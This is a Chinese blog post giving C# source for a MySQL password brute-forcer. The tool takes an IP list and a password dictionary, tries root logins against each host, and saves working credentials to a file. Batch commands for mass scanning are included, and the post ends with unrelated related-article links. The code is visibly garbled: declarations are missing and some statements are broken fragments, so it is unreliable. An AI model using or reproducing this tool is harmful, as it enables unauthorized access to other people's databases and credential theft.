声明: 代码仅供学习参考使用!开启了一个子线程,进行爆破!

速度不是很快,代码不是很规范,希望大牛不要喷我!

c#控制台程序,需要引用MySql.Data.dll

默认用户名: root
密码字典: pass.txt
扫描好的ip: ip.txt

用法:
for /f "eol= tokens=1 delims= " %%i in (ip.txt) do call 程序名称 %%i
或者
程序名称 目标地址

using System;
using System.Collections.Generic;
using System.Text;

using System.IO;
using System.Threading;

using System.Data;
using MySql.Data.MySqlClient;
using System.Diagnostics;
using System.Net.Sockets;

/**************************************
时间:2015年12月24日19:07:50
作者: 小手一抖
谨记: 源码仅供学习。
***************************************/

namespace Reaps
{
    class Program
    {

        static string pwdPath;
        static string[] fs;
        ;
        ;
        static string user = "root";

        private static void Connect(string ip, string user, string password)
        {
            string connSting = string.Concat(new string[]
            {
                "Server=",
                 ip,
                ";UserId=",
                user,
                ";Password=",
                password,
                ";Database=mysql;",
                "Connection Timeout=30",
            });

            using (MySqlConnection conn = new MySqlConnection(connSting))
            {
                try
                {
                    conn.Open();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("[Yes] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password);
                    Console.ForegroundColor = ConsoleColor.White;
                    string path = Environment.CurrentDirectory + @"\good.txt";
                    using (StreamWriter su = new StreamWriter(path, true, Encoding.Default))
                    {
                        su.WriteLine(ip + " " + user + " " + password);
                    }
                }
                catch (Exception)
                {
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine("[No] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password);
                }
            }
        }
        /// <summary>
        /// 检测端口开放
        /// </summary>
        /// <param name="ip">地址</param>
        /// <param name="port">端口</param>
        /// <returns></returns>
        private static bool IsPortOpen(string ip,int port)
        {
            try
            {
                new TcpClient(ip, port).GetStream();

                return true;

            }
            catch (Exception)
            {
                return false;
            }

        }

        private static void CrackSql(string ip)
        {

            {
                while (true)
                {
                    int temp = index++;
                    if (index > fs.Length)
                    {
                        break;
                    }
                    if (IsPortOpen(ip, dbPort))
                    {
                        Connect(ip, user, fs[temp]);
                    }
                    else
                    {
                        break;
                    }
                }
            }
        }

        static void Main(string[] args)
        {
            try
            {
                pwdPath = Environment.CurrentDirectory + @"\pass.txt";
                fs = File.ReadAllLines(pwdPath, Encoding.Default);
                Console.WriteLine("[+] 版本 2015122");
                Console.WriteLine("[+] 加载数据成功");
                )
                {
                    Console.WriteLine("[+] 密码不能为0条");
                    Thread.Sleep();
                    Environment.Exit();
                }
                Console.WriteLine("[+] 密  码:{0} 条", fs.Length);

                Thread th = ]));
                th.Start();

            }
            catch (Exception ex)
            {
                Console.WriteLine("[+] 加载数据失败");
                Console.WriteLine("[+] " + ex.Message.ToString());
                Thread.Sleep();
                Environment.Exit();

            }
        }
    }

}

C#Mysql数据库爆破源码的更多相关文章

  1. PHP批量替换MySql数据库中的数据内容(替换MySql数据库内容源码)

    PHP批量替换MySql数据库内容 UTF-8 1.0版 <?php //声明 //1.本源码开发意图:作者在使用一些CMS建站的时候发现很多CMS把网址写入到数据库了,如果换网址,那么就需要更 ...

  2. linux下MySQL 5.6源码安装

    linux下MySQL 5.6源码安装 1.下载:当前mysql版本到了5.6.20 http://dev.mysql.com/downloads/mysql 选择Source Code 2.必要软件 ...

  3. MySQL 5.7 源码中的目录结构

    MySQl Server的源码可以直接去Github浏览. 这里我们选择5.7版本的:https://github.com/mysql/mysql-server/tree/5.7 也可以通过: git ...

  4. 时序数据库 Apache-IoTDB 源码解析之系统架构(二)

    上一章聊到时序数据是什么样,物联网行业中的时序数据的特点:存量数据大.新增数据多(采集频率高.设备量多).详情请见: 时序数据库 Apache-IoTDB 源码解析之前言(一) 打一波广告,欢迎大家访 ...

  5. (3.1)mysql基础深入——mysql二进制与源码目录结构介绍

    (3.1)mysql基础深入——mysql二进制与源码目录结构介绍 关键字:二进制目录结构,源码目录结构(编译安装目录结构) 1.二进制安装程序目录结构 [1] BIN -- mysql的可执行文件( ...

  6. Linux 中mysql安装(源码安装方式)

    本文是介绍以源码安装的方式编译和安装Mysql 5.6(可以指定安装路径),也可以不采用源码安装方式,直接用安装包的方式. 源码安装方式慎用,容易报错. 1.卸载旧版本 rpm -qa | grep ...

  7. 时序数据库 Apache-IoTDB 源码解析之文件数据块(四)

    上一章聊到行式存储.列式存储的基本概念,并介绍了 TsFile 是如何存储数据以及基本概念.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三) 打一波广告,欢迎大家访问Io ...

  8. 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三)

    上一章聊到在车联网或物联网中对数据库的需求,以及 IoTDB 的整体架构,详情请见: 时序数据库 Apache-IoTDB 源码解析之系统架构(二) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 ...

  9. 时序数据库 Apache-IoTDB 源码解析之文件索引块(五)

    上一章聊到 TsFile 的文件组成,以及数据块的详细介绍.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件数据块(四) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 Star. ...

随机推荐

  1. 使用scrapy制作的小说爬虫

    使用scrapy制作的小说爬虫 爬虫配套的django网站  https://www.zybuluo.com/xuemy268/note/63660 首先是安装scrapy,在Windows下的安装比 ...

  2. CWnd类

    CWnd类的成员 .数据成员 m_hWnd 指明与这个CWnd对象相关联的HWND句柄 .构造和析构 CWnd 构造一个CWnd对象 DestroyWindow 销毁相关联的Windows窗口 .初始 ...

  3. MBProgressHUD的基本使用

    MBProgressHUD的基本使用 分类: IOS2012-10-30 11:19 12047人阅读 评论(2) 收藏 举报 和gitHub上的Demo其实差不多,就是小整理了下,当备忘,想做复杂的 ...

  4. JS--图片轮播效果

    搞了很长时间才弄清楚图片轮播效果的原理,理解各个事件发生的原因,浪费了这么长的时间,只怪自己的知识太过于薄弱.现将代码写下,供大家参看,如有不妥之处还望指出,大家一起学习. 功能: 1.点击左右两边的 ...

  5. 转:SetWindowText 的用法

    SetWindowText   函数功能:该函数改变指定窗口的标题栏的文本内容(如果窗口有标题栏).如果指定窗口是一个控件,则改变控件的文本内容.然而,SetWindowText函数不改变其他应用程序 ...

  6. uva 10014 Simple calculations

    http://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&p ...

  7. Android Activity整体管理和关闭工具类封装

    如何彻底退出程序,在任意位置退出程序,如何管理当前的运行栈,知道activity的堆栈结构等,本文封装了一个Activity管理类,可以方便随时退出程序. /** * 应用程序Activity管理类: ...

  8. 几种开源SIP协议栈对比OPAL,VOCAL,sipX,ReSIProcate,oSIP

    随着VoIP和NGN技术的发展,H.323时代即将过渡到SIP时代,在H.323的开源协议栈中,Openh323占统治地位,它把一个复杂而又先进 的H.323协议栈展现在普通程序员的眼前,为H.323 ...

  9. Linux系统编程(30)—— socket编程之TCP/IP协议

    在世界上各地,各种各样的电脑运行着各自不同的操作系统为大家服务,这些电脑在表达同一种信息的时候所使用的方法是千差万别.就好像圣经中上帝打乱了各地人的口音,让他们无法合作一样.计算机使用者意识到,计算机 ...

  10. 【转】ipad死机了,无法退出,也无法关机,怎么办

    原文网址:http://zhidao.baidu.com/link?url=oTz6J78hmtCAKddhwu1ITUiPmLnVJIaA_v_0dZblPaIJUhuMdyTCdS6H2737GX ...